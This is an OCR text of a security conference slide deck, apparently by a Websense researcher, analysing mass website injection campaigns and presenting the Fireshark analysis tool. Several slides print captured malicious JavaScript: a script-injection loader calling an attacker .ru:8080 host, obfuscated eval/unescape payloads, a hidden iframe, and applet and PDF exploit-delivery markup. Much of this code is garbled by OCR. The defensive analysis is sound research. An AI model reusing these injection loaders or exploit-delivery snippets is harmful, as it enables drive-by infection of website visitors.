| Difference 145 of 145 || |

Ready

websense
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Injected Code Variation #3

/*GNU GPL* / try{window.onload = function(){var A84jbd5xsu
document. createelement('script’); A84jbdSxsu.setAttribute
("type’, 'text/javascript’);A84jbd5xsu.setAttribute(’id’,
‘myscriptl’);A84jbd5xsu.setAttribute(’'src’, 'ha&(t)St(!sp
(sa:se(/!'!)/ex! Oean&! Sx&!'@xA'&(-(c#®)o#!'m! ! (. Sna!#(uA
((.@)#n&!(15@@.#A@@WS()B&)(-So)#rSA(g)@!&.@#&g(Ao!&]!)&d!
@QAQR&) 0&R#TAAT (1 b! ! a#) #@QASAR, #(AAr )&#FU@! 1 1 &SS8)0&) #8#!
(0~ /@w() Sre&(&e&b)&1GR#Y&S! . RC&R&0)@A! SmSR/SS&RAWSA)Rere!
(b))1(Ay&)&. ) (c!!1or&m! (SA/(A)!11!11&(a!ASr@! e#&dS! #0) (Au(t
(eSC.sf@!r!sS(/!!1gS!a)&ora#Sor#S (ganl##enr! (. ) (&c!S0)
SEMRAR/##! )#r&@i!#nAS(C)) ! So#F&) NG (! dA&e&1#&2AVv&)a(SS! g@n)
#0#&A! , ((Ac@)&R0!'!)!Im! /)S .replace(/@|\~|\)
[#|&I\SI\NCI\N!/ig, ""));A84jbd5xsu.setAttribute( defer’,
%?efer');document.body.appendchi]d(A84jdexsu);}} catch(e)

IIIIIIIIIIIIIIIIIIIIIIIIIIIIIII



DOM View

“ DOM ==> Mutable Memory representation
(Final View of DOM after JS/events)

<s5Cript tType="text/javascript’ id="myscriptl”
src="http://clicksor-com. eastmoney. com. mobile-
de.homesaleplus. ru:8080,/0cn. ne. jp/ocn. ne. jp/
classmates. com/linkhelper.cn/google. com/"

defer="defer "=</scripts>

weksense
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Log Analysis

“ Further Analysis showed variations:

1. hxxp://clicksor-com.eastmoney.com.mobile-
de.homesaleplus.ru:8080/ocn.ne.jp/ocn.ne.jp/classmat
es.com/linkhelper.cn/google.com/

7. hxxp://chip-de.ggpht.com.deezer-com.viewhomesale
.ru:8080/google.com/google.com/timeanddate.com/avg.
com/zshare.net/

weksense
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ru:8080 URL Injection Campaign

Similarities between infected sites:
“ Port 8080
“ Various changing .ru domains

" Legitimate content on port 80 served by Apache
“ Malicious domains are mapped to 5 different IPs

“ Malicious IP addresses are on hosting providers
Leaseweb (Netherlands) and OVH.com (France)

“ Landing domains were NXD Dec 09/Jan 10’

weksense
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The Never-ending story

“ Fresh injections

———___2{}6———*
www.ishaknakliyat.com ‘.

weksense
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Observations from ru:8080 attack

“ Compromised websites can and are updated automatically

" Compromised websites are injected with multiple
redirectors

“ Sharing of stolen FTP credentials

e.g. Many infected sites also led to Gumblar infected
domains, indicating that attackers perhaps had shared
stolen FTP credentials

weksense
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Injection Example #3

“ Mass Injection #3
“ ~5700 infected pages
® ~5300 unique hosts...sent 1k for analysis

83d%228329%329%21%3d82d8318 77288 T1853d% 7252236 "+" 936" "+ B0 "+ " 486" +" 587024
G4+ R2BRR L2080 T450bLR2 2555225255295 21534824531 529%295TLE205T15T5%6"+"5
53487282237 3RTIR6" "+ " 2RTIRTART2R6"+"0RE"+" eR6" "+ " TH2BRT182LE3282bET4
22eR6"+"CRE"+"DR6" "+ " eR6 "+ " TRT4ARG"+"BR29% 28T IRT0ORE" "+ " CRA "+ " IR TARIBRI2LR2IH2955h
23058543 53b30d%0a%6"+" 986"+ 6"+ " B20% 2582887187536 "+" 58286 "+ "9R6"+" R0 "+"4RE" "+"]
ETBRAFRE"+" 6 "+ " B2BR2TRTIRE "+ O TARE" " +"5R3a82 782983485345 2d5318298 2045520528571
ET586"+"5R2eR 7456 "+ " [R4cRE "+ FRTTEE"+" 587254356 "+"157356"+"5828%29

52eR6"+" 986" " +"eB6" "+ 4R "+ " DR TERACRE"+ "6+ R2ER2TRTTRTTRTTR2eR2TE29583d43534324%51
229%2930d430a%09%6"+" 486"+ " [RB6"+"3RTORE"+"A%6"+" 036" "+" "R 745287 7RT226"+"9
BT46"+"DR2BR2283cRTIRG "+ " 3RT2RE"+"ORTORTAR20RTIRT2R6"+" " 3R IAR2TEE"+"BRTLRTS
2705388203286 "+" 286"+ " DB 38 74553487986 " +" (375826 "+ " 986"+ 6" "+" 82287586 "+"1

B2 E "+ AR 3R 56" "+ " 286"+ " OBE "+ " 4BE" "+ " 356"+ " BB 2eB6" "+ 2B TIR308T153d4%2252bL371575
BE"+"5R2bR22 AR T2R6"+ " 5RE" "+ 6+ " B5AR2252LET2R2DE2282 TR 3R SCcE20RTIR6 +" 3R2252b
22287236 "+"98T087483e82282953b20d4%0a% 74504303 TdR04%0a8 76" +" 86" +"1272320%6"+"d
7926 "+"936" "+"bE3ART4RT2RTIRE"+"583RL" ) ) </ scripts</HEAD>

<BODY LANG="en-GB" DIR="LTR"»<zcript>c0lz633='"';rT7cbtibaeced="'rie25l':
refkeb70e807="r652d7"' ; v03kdalbeThb=/* r1139%dadsc

*/document ; String. constructor. prototype . mama=re9L6b70e807 ;
rHEW=0bject.constructor.prototype . mama ;

if {(r7cédbaeef+cllz635+rNEW="r0e251r652d7') { r52aelct258=r03bdaléeTbb}:
ra2aelcd258.write('<scr'+'ipt>function rde7céd (rO0ea2sd) {return

e'+c0l1z2635+"val (rOea26) ; }</scr'+'ipt>'): function

c0127cdb23r0116d{r8b3ald) { war z3e7='':return (rJe7ctdti('parse'+z3e7+'Int')
{r8bk3al0d,16)) ;}function rf63celaf8({rl718kb2ek){ war ra2édchi2ad='"':;
raf973%9f3="fromCh' ; rf95bd=String[ra9739f3+'arl'+'ode'] :for (raccl2od=0;
raec28d<rl718k2eb. length: raec264+=2){ ra268chiZad+=

{rf95k4 (c0127cd4b23r0116d{r1718k2elk . substr{raec264,2)}))) ;}return ra2é&8ckilad;}
Var
rfdd37="3CT7363726970743E66T56EA3T4696F6E20636365636BOF636F6ET4656E7428297B7061 '+¢
r52aelc6258 . write (rf63celafs8 (rfdd37)) :</script>

weksense
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Breadth — Popularity of Responses

Ho. Egressz Connections

Fi.221.153.178
wuu , yahoo, con, con

uk ,yahoo ,con
trustgeobiz,con
wuu, google . con
google,con
sportgun,.pl.ua
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Breadth — Popularity of Responses

Ho. Egressz Connections

=
221,153,178 I | | I I

wuu , yahoo , con, con
uk ,yahoo ,con
trustgeobiz,con
wuu, google . con

D I I

“ sportgun.pl.ua very common type of attack
“ sends a response back to 50+ hosts

weksense
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Connection Request/No Response

Src: hxxp://sportgun.pl.ua/st/go.php?sid=2&
Dst: hxxp://uplevelgmno.vn.ua/111/sv777/index.php

howtofindmyip.com _ —
2

weksense
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Round #2 Connection Request/Response

" Success!

2
mm.chitika.net mhﬂwtnﬁndmjrip_(:ﬂm

scripts.chitika.net

weksense
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Fetches Exploits

“ Fetches PDF and Java Exploits




PDF VirusTotal Results

VI RU s Virustotal is a service that analyzes suspicious
files and facilitates the guick detection of viruses,

T T AL worms, trojans, and all kinds of malware detected
by antivirus engines. More information...

File pdf.pdi_ receivedon 2010.02.22 20:235:38 (UTC)
Current status: finished
Result: 9/41 (21.85%)

Name

Description

Reference

Adobe Collab overflow Multiple Adobe Reader and Acrobat buffer overflows

Adobe util.printf
overflow

Stack-based buffer overflow in Adobe Acrobat and Reader via crafted format string argument in util.printf

Adobe getlcon Stack-based buffer overflow in Adobe Reader and Acrobat via the getlcon method of a Collab object

doc.media.newPlayer 9.7

Use-after-free vulnerability in the Doc.media.newPlayer method in Adobe Reader and Acrobat 8.0 through

CVE-2007-5659
CVE-2008-2992
CVE-2009-0927

CVE-2009-4324

weksense
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Eleonore Exploits Pack

hxxp://uplevelgmno.vn.ua/111/sv7/77/stat.php

<body id="gordonmac-com" class="homepage">
<div 1d="wrapper-a">
<div l1d="wrapper-h">
<div l1d="heading">
<hl><a href="#">Exploit PAck</a></hl>

<h2>Exploit pack</h2>

<p l1d="heading-intro">
Eleoncre Explolits pack wvers=icon 1.3.2<br>
Please enter your login and password.

weksense
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Obfuscated Chunk in Source Code

“ howtofindmyip.com obfuscation

=script=eval { unescape( "%6"+"9%E"+V0+ " H28M21 %0+ " dBETO%NG "+ 9%6 "+ " K2 9% T b
Odfe0asre "+ %a "+ " 1%7 2% 20%7 2% 3d%e "+ 458 "+ " FRa "+ " 357 5% "+ "d%e "+ 5%E T+ " et T 4%
2ET2%A + DRE + e+ R+ ST 2T 2%e T DT 2% 2 ChT 5% 3d%E T+ T 4%e T+ TRE T+ 35T 5%
B+ dRe T SRE e T A% et SR 2N 2 CH T AN 3R 2 2% 2 22 CRT LR 2 Ch T LT 55E T+ U 52 %
T3%0M+ " 0RIdRZ2R0+ " TRO "+ 252 2% 30 dN0a%e + " 9%G "+ "0+ " R2 BT 2% e%n 1+ 9%

B+ ekn +ARE +  DRT BRATRE T+ A+ 2 BRI 2NE + TRE + " TRE T+ TR T+ TRe

6"+ 5%2e%22%20%2 1 % 3d%2d%I L% QT AT A% 32 2% T 15%2 2% 3h%T 3%6 "+ 5% 3 dR2 2%a T+ ' TR
B+ FRE RGO+ TRE + CBE T+ %2 2% 3R T AR 0dR0a%e "+ T 9%E T+ A+ T2 BT 2% 2 e

B+ 0%0" +  eRd  + T ARE "+ ST BRATRE "+ 6+ 2 BRI 250+ " dRT 3%0 "+ ek e 2% 2 952 1%
3B i3 12 9% T bR T A% 32 257 1%2 2% 3 0% 7 3%6 "+ 5% 3 %2 2%a + " dRT 3%6 "+ a2 2% 3 bt T d%
Od%0a%e"+"9%6" " + "6 "+ "%28%7 2%22%0 "+ " 9%0 "+ " %0 "+ "4%6 "+ " 5T B4 TR "+ "0+ "H2 B
22%79%e" "+ 1%e "+ 8%e + T e+ TR eN2 2% 9% 2 1% 32 I LN 2 9% T bR T 4% 3 dN2 2T 0%2 2%
3b%7 3%6 "+ 5% 3dN22%T O%e "+ La "+ BRae "+ e+ T2 2% 3 bt T d0dr0 a%e T+ ' 9%

6 +"0"+"%2B%T2%2e%6 "+ 9%06 '+ "efh "+ "4%0 "+ " 5RTBRATHO "+ 6"+ "H2BR22%7 96 "+ "1%
6'+"eR6"+"4%6" + " 5% 7 BR2 ek 2%7 5%22%29%21%3d%2 d% 31 %2 9%T bier 43 3d%2 2% 7 4%6 '+ ' 5%
TBRT74%22%30%7 3%6"+ " 5%3d%22%7 9%6 "+ "1%0 "+ "eM6 "+ "4%0 "+ " 537 Bh2 e%7 2%7 352 2%3b%
7d%0ds0a%6" '+ 9%6 "+ "0 "+ "H2 BT 4%2e%0 "+ %0+ " 5RE "+ "eRh '+ ' TR7T4%06 "+ "BR&%2 BX2 B
71%3d%72%2e%6 "+ 9%6 "+ " e%0 '+ 456"+ " SRV BRA TG "+ "0 "+ "R2 B2 23T N2 2% 2 b7 4552 b%
22%3d%22%29%29%21 % 3d%2d%31%7 Chr7 Ch2BR71%3d%T 2%2e%0 '+ 9%6 "+ %6 "+ "4%6 "+ ' 5%
TERATHRE"+" 60"+ " %2 8%2 2852 2%2b%7 4%20%2 253 d%2 2%2 9%2 9% 21 %3 d%2 d% 31 %2 9%2 9% 7 b2 0%
71%7 5%6" "+ 5% 3d%7 2%20%7 3%7 536 "+ " 2% 7 INTA%T 236"+ 0%0 "+ " ekh "+ TH2 BT 1%2 b 32%
2h%74%2e%6  + " CBE "+ D%0 '+ eRh "+ TR7A%N0 "+ T BR20%20%7 I%T 0%6 "+ CHO '+ T OX%T 452 B%
22882 2% 2 9% 5% 3 0% 5 d%3b%0dE0a%0 "+ 9%6 "+ 0+ N2 02 B2 BT 1% T 5MA "+ ' 52 e%0 "+ 9%
B4+ eke T ARE DR BRAT R+ O+ 2 B2 T 3%G  + T ONT AN+ 53 A2 T2 9% 3 % 3 d%
2d%31%2 9% 208852 0% 2 8% T 1% 7 5%0 '+ 0%2 e 4%a "+ ' T4 CRb "+ " TRr 7Re "+ ' DR T 254 358+ " 1%
T3%E M+ DR2ERZ0%2e%E "+ 0% "+ ehe T ARE ST BRATRe + e+ R BN TRT TR TR T
2e%27%29%3d%3d%R2d% 31 %2 9% 2 050 dh0 a0 9%e "+ M ARE "+ TRA  + " 3%T 556 T+ d%e T+ 1 5%

B+ e T AR e T TR 2%0 "+ 0T 450 "+ 52 BRI 2% CRT 380+ " 3%T 250 "+ 9% T 05T 452 0527 3%
T2%E N+ 3R TG+ BT AT AR T (%3 a2 TR TG+ 250+ T DT 3% 4% 3457 %8 '+ " TRT 5%
2e%n "+ 0%A "+ e+ N2 ekT 00 T+ L Re AT 3R TRA T+ 2R+ 0%e T+ 4%e T+ 3%

B+ BRZeRn AT 33T AT L3R 2% ST L% T SR04+ D2 b2 2A5T 2%A "+ " 0RE "+ a "+ "3 d%
22% 25T 2%2bR2 2% 2T %3R3 ChI TR 300+ 3N 2HID%RZ 2%T 280+ T 9%T 05T 453652 2% 2 9% 3 h%
Odfe0afe? d%0di0a%kr da0da0a%r o™+ "%e "+ " L7 2%20%0 "+ "d%7 9%6 "+ " 9%0 "+ " he 3 dR T 457 2%
75%6"+"5%3b" 20« scripts
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Deobfuscated DOM

“ howtofindmyip.com deobfuscated

=script=eval { unescape( "%6"+"9%E"+V0+ " H28M21 %0+ " dBETO%NG "+ 9%6 "+ " K2 9% T b
Od%0a%7 6"+ %0 "+ " 157 2% 2 0% 7 2% 3d%8 "+ "4%8 "+ "T20 "+ " 3%7 556 "+ "d%a "+ ' 5%E '+ ek T 4%
2e%T2%E + SE e+ e+ DR T 2T 2%+ ST 2% T B3 dNe "+ A%E "+ TRE T+ 3T 5%
B+ dBe "+ 5%e et T A% 2 et 5 5% 5 2% CR2 CRT A% 32 22 2% 2 CHT L2 T L%T 5%E "+ 52k
7350+ 5%3d%22%0 "+ TRE "+ 2%2 2%3h%0da0a%a "+ 9%e "+ 6 '+ "2 BT 2% 2 e T+ 0%

B+ ekh "+ 4%e + T SRT B TR + O+ TR BRI NG+ TR+ TR+ TR+ TR+ R

6+ " 5%2e%2 2%2 9% 21 %3 d% 2 dR 3 L% 0% T b 453 d%2 257 152 2% 3% 7 356 "+ " 5% 3d%2 206 "+ ' TR
B+ TRE "+ TRe "+ TRE + e+ SR 2% 3D%T dR0d0a%a "+ 9%RE "+ 6 "+ TR BT 2% 2 e

BV +"0%E" "+ e%n + 450+ SRT BRATRE "+ 0+ K2 BB 2%0 "+ AT 30 "+ " ek a2 202 0% 21 %
323152 9% T b T 4% 3 %2 2% T 1% 2 2% 3% 7 356 "+ 5% 3d%22%0 "+ d%T 3%6 T+ a2 2% 3 bk d%
Od%0a%6" "+ " 9%6 "+ "6 "+ " M2 B%T 2%2e%6 "+ " 9%a "+ " e%e T+ 456 "+ ST 84T "+ 6+ T2 8%
22%79%6 "+ 1%E "+ 8%A "+ TR0+ TR eN2 22 0%2 1 % 3d% 2 d%e3 1 %2 9% T bR T 4% 3 %2 25T 0552 2%
3h%7 3%6 "+ " 5% 3d%22%7 9%0 "+ " 1%E "+ " BRA "+ TR0 M+ T2 2% 3 b7 diE0d%0 a%e M+ " 9%

6 +"0"+"%2B%T2%2e%6 "+ 9%06 '+ "efh "+ "4%0 "+ " 5RTBRATHO "+ 6"+ "H2BR22%7 96 "+ "1%
6'+"eR6"+"4%6" + " 5% 7 BR2 ek 2%7 5%22%29%21%3d%2 d% 31 %2 9%T bier 43 3d%2 2% 7 4%6 '+ ' 5%
TBRT74%22%30%7 3%6"+ " 5%3d%22%7 9%6 "+ "1%0 "+ "eM6 "+ "4%0 "+ " 537 Bh2 e%7 2%7 352 2%3b%
7d%0ds0a%6" '+ 9%6 "+ "0 "+ "H2 BT 4%2e%0 "+ %0+ " 5RE "+ "eRh '+ ' TR7T4%06 "+ "BR&%2 BX2 B
71%3d%72%2e%6 "+ 9%6 "+ " e%0 '+ 456"+ " SRV BRA TG "+ "0 "+ "R2 B2 23T N2 2% 2 b7 4552 b%
22%3d%22%29%29%21 % 3d%2d%31%7 Chr7 Ch2BR71%3d%T 2%2e%0 '+ 9%6 "+ %6 "+ "4%6 "+ ' 5%
TERATHRE"+" 60"+ " %2 8%2 2852 2%2b%7 4%20%2 253 d%2 2%2 9%2 9% 21 %3 d%2 d% 31 %2 9%2 9% 7 b2 0%
71%7 5%6" "+ 5% 3d%7 2%20%7 3%7 536 "+ " 2% 7 INTA%T 236"+ 0%0 "+ " ekh "+ TH2 BT 1%2 b 32%
2h%74%2e%6  + " CBE "+ D%0 '+ eRh "+ TR7A%N0 "+ T BR20%20%7 I%T 0%6 "+ CHO '+ T OX%T 452 B%
228522%2905%5h%30%5d%3b%R0d%0a%e "+ " 0%E  + "6+ M2 0%2 B2 8% T 157 556 T+ " 52 e%E "+ 0%
B+ etE A%+ SR T BTG G+ T2 BN T T 30+ 0% ANG "+ 53 A% TH2 0% 3 d% 3 d%
2d%31%29%2 08852 0% 2 857 1% 7 5%6 "+ " 552 e r 450 "+ Fohd cob "+ " TRr FRe "+ 5% T 2%4 3%6 "+ 1%
7355+ 552 892 0% a%e "+ 0% 4 aks 4 A E " " DT B A s N N8 N N B T T T T T T

{1frame he1-ht—“315“ width= “E’Q“ 5ty1e— v151b111ty hidden; " Se9adb=""

name="c0l"></1frame="

75%6”+”5%3b” }} {ficr1pt>
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ESSENTIAL INFORMATION PROTECTION™




“ uplevelgmno.vn.ua

<script type='text/javascript'>
var whiles = '' ,erwef = '';

function iz sdjh(tybny,proc) {

Zif<object height="1" width="1"

<param value="1.pdf" name="src” /=
«</object=

<applet height="255" width="462" archive="window. jar"
code="dev.s.Adgredy.class">

M eparam value="http://uplevelgmno.vn.ua/111/5v777 /Toad. php?spl=javad"”
varfRame="data" /=

<param value="1" name="cc" /=

data="http://uplevelgmno.vn.ua,/ 111 /sv777 /pdf.php” type="application/pdf =

}

' |=/applet=
var = AL

var tt = document['tit'+

"le']:

eval('edc = e'+tt+"'1:"');

eval (' function lalal{rx) {return set fdh{rx):}'):

For (i=0;i<12;i++) { -

var i plus = i+l:

r+='function lala'+i_plus+'(rx) {return lala'+i+'({rx):}':
}

eval (r) :

edc{lalal0{rx))

weksense
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Observations from Injection attack #3

“ The bad guys are tracking/hiding, redundancy redirectors
are common

“ Exploits that are being used are current e.g. all
platforms/browsers are targeted

“ Exploit kits are easily attainable, setup is quick

“ Many kits serve user polymorphic exploits/malware, thus
traditional AV signatures are always behind

weksense
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FIRESHARK RELEASES



Fireshark 1.0

“ Released Blackhat Europe
April 2010

OFcxor = = [ oo | - Firefox Browser-Plugin
MR e — PERL Post processing scripts
e — CYMRU ASN
p—— ~ GraphViz
o
LI

webksense .
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YAML Log format

£ schenette@ssdstret1.~/fireshark

ents:
— urlloaded:

o fea

- connect
o fea
htop://www
redirec false
onnection:
type 4
o fea
dst: £ for

T 23

redirect: false

type: reguest

src: http://www.
dat: http://www.

redirec false
connection:
type: requ

http://www.
+f S

-3

redirect: false
connectio

type: reguest

src: http://www.
dst: http://www.

redirect
connectio
type: reguest

src: http://www.

ds ht
redirect:

http://www.
£ foma .

redirect: fals
- connect
type: response
htop://www

.rubberduckie.nl/

.rubberduckie.nl/
.rubberduckie.nl/t

.rubberduckie.nl/
.rubberduckie.nl/t

rubberduckie.nl/
rubberduckie.nl/t

rubberduckie.nl/
rubberduckie.nl/te

rubberduckie.nl/
.rubberduckie.nl/t

rubberduckie.nl/
rubberduckie.nl/te

rubberduckie.nl/
googleapis.com/aj

rubberduckie.nl/
rubberduckie.nl/t

ESSENTIAL INFORMATION PROTECTION™

Wp-COnTent

wp-content,/plugins/c

t/wp-content/plugins/contact-form-

t/wp-content/plugins/n

wp-content/plugins/n:

t/wp-includes/js/jquery/jquery.js?

t/wp-content/plugins/n

en-gallery/shut

ntureTour/style.css

gle-ajax-translation/google-aj

rtgen—gallery/css/nggallery.cs

gen-gallery/shutter/shutter-relo

r/shutter-reloaded.js?|

Scripts:
GraphViz.pl
IngressEgress.pl
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Fireshark 1.1 (Release in November 10’)

= XUL GUI Front-end

— Shows network traffic

— Redirection chains

— DOM/SOURCE/DIFF

— Top Destination and Source URLs
— Suspected Redirectors/Exploit Sites

= Configurable options

“ Qutput in JSON (1.0 was in YAML)

weksense
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FIRESHARK
WHERE TO DOWNLOAD



http://fireshark.org/

E=E

[ Fireshark™ a free we...

€« C| K = www.fireshark.org » O F-

[J Websense [ Editable [J Other Bookmarks

Introducing Fireshark™
Linking the malicious web

Blog Download Contact
What is Fireshark

The Fireshark

Project

welsense
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Free (GPL v3)
Open Source

PERL/Python scripts
Included for post-
processing
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CONCLUSION + Q&A



Conclusions/Take-away

“ Compromised websites:
— Increase of 225% over the last 12 months
— Frequently updated to contain fresh links

— Current tools are insufficient if desire I1s to monitor
and analyze mass URL Injections

“ Use Fireshark for:
— Mass Injection Analysis
— Redirection Chalining
— Content Profiling

weksense
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"Questions?

* Contact:
Stephan Chenette
Twitter: StephanChenette
Emaill: stephan@packetsector.net

“ Fireshark Feedback:
Join the Fireshark mailing list!! or..

send an email to feedback@fireshark.org

weksense
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